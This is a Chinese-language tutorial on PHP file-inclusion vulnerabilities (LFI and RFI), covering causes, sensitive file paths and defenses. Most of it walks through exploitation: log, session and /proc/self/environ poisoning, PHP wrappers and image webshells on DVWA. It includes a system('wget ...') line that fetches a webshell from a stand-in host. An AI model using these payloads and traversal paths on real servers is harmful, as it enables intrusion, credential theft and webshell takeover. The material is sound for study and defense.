【Web渗透】文件包含漏洞
当前位置:点晴教程→知识管理交流
→『 技术文档交流 』
一、文件包含漏洞概述1.什么是文件包含 程序开发人员通常会把可重复使用的函数写到单个文件中,在使用某个函数的时候,直接调用此文件,无需再次编写,这种调用文件的过程通常称为包含。 2.文件包含漏洞产生原理 文件包含函数加载的参数没有经过过滤或严格定义,可以被用户控制,包含其他恶意文件,导致了执行非预期代码。 程序开发人员都希望代码更加灵活,所以通常会把被包含的文件设置为变量来进行动态调用,但正是由于这种灵活性,从而导致客户端可以调用任意文件,造成文件包含漏洞 例子 $_GET['filename']参数开发者没有经过严格的过滤,直接带入了include的函数,攻击者可以修改$_GET['filename']的值,执行非预期的操作。 show.php即可为用户上传的可执行的恶意脚本文件 包含文件内容只要符合php语法都能被当成php代码进行解析,无关后缀名是什么 特点 条件
php相关配置 allow_url_fopen=On// 本地文件包含(LFI),但这个无论On或Off,本地文件包含都存在allow_url_include=On// 远程文件包含(RFI) 3.存在文件包含的脚本语言及应用函数
require:函数出现错误时,会直接报错并退出程序执行 require_once:出错直接退出;且仅包含一次。在脚本执行期间同一个文件可能被多次引用,确保只包含一次以避免函数重定义,变量重新赋值等问题。 include:出现错误时,会出现警告但是程序会继续执行 include-once:出现错误时,会抛出警告,且仅包含一次
ava.io.file() java.io.filereader()
include file include virtual 4.文件包含漏洞的危害
常见的敏感信息路径: Windows系统 c:\boot.ini // 查看系统版本 c:\windows\system32\inetsrv\MetaBase.xml // IIS配置文件 c:\windows\repair\sam // 存储Windows系统初次安装的密码 c:\ProgramFiles\mysql\my.ini // MySQL配置 c:\ProgramFiles\mysql\data\mysql\user.MYD // MySQL root密码 c:\windows\php.ini // php 配置信息 Linux/Unix系统 /etc/passwd // 账户信息 /etc/shadow // 账户密码文件 /usr/local/app/apache2/conf/httpd.conf // Apache2默认配置文件 /usr/local/app/apache2/conf/extra/httpd-vhost.conf // 虚拟网站配置 /usr/local/app/php5/lib/php.ini // PHP相关配置 /etc/httpd/conf/httpd.conf // Apache配置文件 /etc/my.conf // mysql 配置文件 二、文件包含漏洞类型1.本地文件包含漏洞(LFI) 能够读取或执行包含本地文件的漏洞,称为本地文件包含漏洞。 包含服务器本身存在的恶意文件 a.txt <?php phpinfo(); ?> b.php <?php $b=$_GET['id']; include($b); ?> payload localhost/b.php?id=a.txt //返回phpinfo页面 注:
2.远程文件包含(RFI) 包含其他网站上的恶意文件 远程文件包含利用条件:在php.ini中allow_url_fopen=on、allow_url_include=on payload: localhost/b.php?id=http://ip/文件路径 注:远程包含的文件路径必须是绝对路径 三、常用的防御方式
代码在进行文件包含时,如果文件名可以确定,可以设置白名单对传入的参数进行比较。
由于Include/Require可以对PHP Wrapper形式的地址进行包含执行(需要配置php.ini),在 Linux环境中可以通过”../../”的形式进行目录绕过,所以需要判断文件名称是否为合法的PHP 文 件。
PHP配置文件中有open_basedir选项可以设置用户需要执行的文件目录,如果设置目录的 话,PHP仅仅在该目录内搜索文件。
PHP配置中的allow_url_include选项如果打开,PHP会通过Include/Require进行远程文件包 含,由于远程文件的不可信任性及不确定性,在开发中禁止打开此选项,PHP默认是关闭的。 四、常用的利用方式1.本地文件包含配合日志文件 1、日志的默认路径 /etc/httpd/logs/access_log或/var/log/httpd/access_log //apache+linux D:xamppapachelogsaccess.log或D:xamppapachelogserror.log //apache_win2003 C:WINDOWSsystem32Logfiles //iis6.0+win2003 %SystemDrive%inetpublogsLogFiles //iis7.0+win2003 nginx 日志文件在用户安装目录的logs目录下 2、web中间件默认配置uoh文件 /etc/httpd/conf/httpd.conf或index.php?page=/etc/init.d/httpd //apache+linux C:/Windows/system32/inetsrv/metabase.xml //iis6.0+win2003 C:WindowsSystem32inetsrvconfigapplicationHost.config //iis7.0+win 3、利用 访问http://www.xx.com/<?php phpinfo(); ?>时,<?php phpinfo(); ?>也会被记录在日志里,也可以插入到User-Agent;但是在日志里这句话被编码了;所以用Burp Suite修改来绕过编码;然后包含相应的日志文件:http://localhost/include/file.php?file=../../apache/logs/access.log //(这里利用相对路径,找到日志文件,并以php解析的方式打开) 4、防御 隐藏或修改默认日志文件 设置日志文件读取权限 找到Apache路径,利用包含漏洞包含日志文件获取Webshell。 Apache两个日志文件:access.log、error.log 很多时候,web服务器会将请求写入到日志文件中,比如说apache。在用户发起请求时,会将请求写入access.log,当发生错误时将错误写入error.log。 各字段分别为:客户端地址、访问者标识、访问者的验证名字、请求时间、请求类型、状态码、发送给客户端的字节数 当发现网站存在包含漏洞,但无webshell文件包含,也无上传点时 当访问不存在的资源时,apache日志同样会记录。 访问127.0.0.1/include/<?php phpinfo();?>,再包含日志文件 2.本地文件包含配合/proc/self/environ文件 1、找文件包含漏洞www.aaa.com/view.php?page=../www.aaa.com/view.php?page=../../../../../etc/passwd 2、检查proc/self/environ是否可以访问www.aaa.com/view.php?page=../../../../../proc/self/environ 3、如果可读就注入代码 访问:www.aaa.com/view.php?page=../../../../../proc/self/environ 选择User-Agent 写代码如下:<?system('wget http://www.yourweb.com/oneword.txt -O shell.php');?> //提交请求;我们的命令将被执行(将下载http://www.yourweb.com/oneword.txt,并将其保存为它在shell.php网站目录),我们的shell也就被创建,.如果不行,尝试使用exec(),因为系统可能被禁用的从php.ini网络服务器. 4、访问shell 5、防御: 设置proc/self/environ不可访问 3.本地文件包含配合session文件 ?file=../../../../../../tmp/sess_1sv3pu01f97dp3qcfef8i2b9r2 //读取session文件 利用条件: session的存储位置可以获取。 通过phpinfo的信息可以获取到session的存储位置。 通过phpinfo的信息,获取到session.save_path为/var/lib/php/session: 通过猜测默认的session存放位置进行尝试。 session中的内容可以被控制,传入恶意代码。 示例: <?phpsession_start();$ctfs=$_GET['ctfs'];$_SESSION["username"]=$ctfs;?> 漏洞分析 此php会将获取到的GET型ctfs变量的值存入到session中。 当访问http://www.ctfs-wiki/session.php?ctfs=ctfs 后,会在/var/lib/php/session目录下存储session的值。 session的文件名为sess_+sessionid,sessionid可以通过开发者模式获取。 所以session的文件名为sess_akp79gfiedh13ho11i6f3sm6s6。 到服务器的/var/lib/php/session目录下查看果然存在此文件,内容为: username|s:4:"ctfs";[root@c21336db44d2 session]# cat sess_akp79gfiedh13ho11i6f3sm6s6username|s:4:"ctfs" 漏洞利用 通过上面的分析,可以知道ctfs传入的值会存储到session文件中,如果存在本地文件包含漏洞,就可以通过ctfs写入恶意代码到session文件中,然后通过文件包含漏洞执行此恶意代码getshell。 当访问http://www.ctfs-wiki/session.php?ctfs=<?php phpinfo();?>后,会在/var/lib/php/session目录下存储session的值。 [root@6da845537b27 session]# cat sess_83317220159fc31cd7023422f64bea1ausername|s:18:"<?php phpinfo();?>"; 攻击者通过phpinfo()信息泄露或者猜测能获取到session存放的位置,文件名称通过开发者模式可获取到,然后通过文件包含的漏洞解析恶意代码getshell。 4.php伪协议 PHP内置了很多URL风格的封装协议,可用于类似 fopen()、 copy()、 file_exists() 和 filesize() 的文件系统函数,如下所示:
有一些敏感信息会保存在php文件中,如果我们直接利用文件包含去打开一个php文件,php代码是不会显示在页面上的,例如打开data目录下的config.php: 这时候我们可以以base64编码的方式读取指定文件的源码: 输入:php://filter/convert.base64-encode/resource=文件路径 得到config.php加密后的源码:
利用data:// 伪协议可以直接达到执行php代码的效果,例如执行phpinfo()函数: 如果此处对特殊字符进行了过滤,我们还可以通过base64编码后再输入:
如果网站允许我们上传压缩文件,我们也可以将php文件压缩后进行上传,再通过zip://协议执行。 以DVWA平台为例,我们将phpinfo.php文件进行压缩后上传: 通过zip://协议执行zip压缩包中的phpinfo.php文件:
5.配合文件上传使用 有时候我们找不到文件上传漏洞,无法上传webshell,可以先上传一个图片格式的webshell到服务器,再利用本地文件包含漏洞进行解析。 以DVWA平台为例,编辑一个图片马,内容如下: 找到上传点进行上传: 文件保存的完整路径为: C:\phpStudy\WWW\hackable\uploads\webshell.jpg DVWA平台low等级文件包含漏洞页面如下: 该页面用于读取C:\phpStudy\WWW\vulnerabilities\fi\路径中的文件,代码如下: 现在我们利用该页面去执行我们上传的图片马,路径需要从C:\phpStudy\WWW\vulnerabilities\fi\ 转到C:\phpStudy\WWW\hackable\uploads\webshell.jpg 构造URL如下,页面无报错: 可以看到fi文件夹中生成了一个webshell: 使用webshell管理工具连接即可。 注:我们也可以直接在webshell.jpg中写一句话木马,然后再通过文件包含漏洞去连接webshell.jpg,但这种方法有时候webshell功能会出现异常。所以我们选择上面的方式,生成一个.php格式的一句话木马,再去连接。 五、常用的绕过方式该文章在 2023/12/11 16:06:02 编辑过 |
关键字查询
相关文章
正在查询... |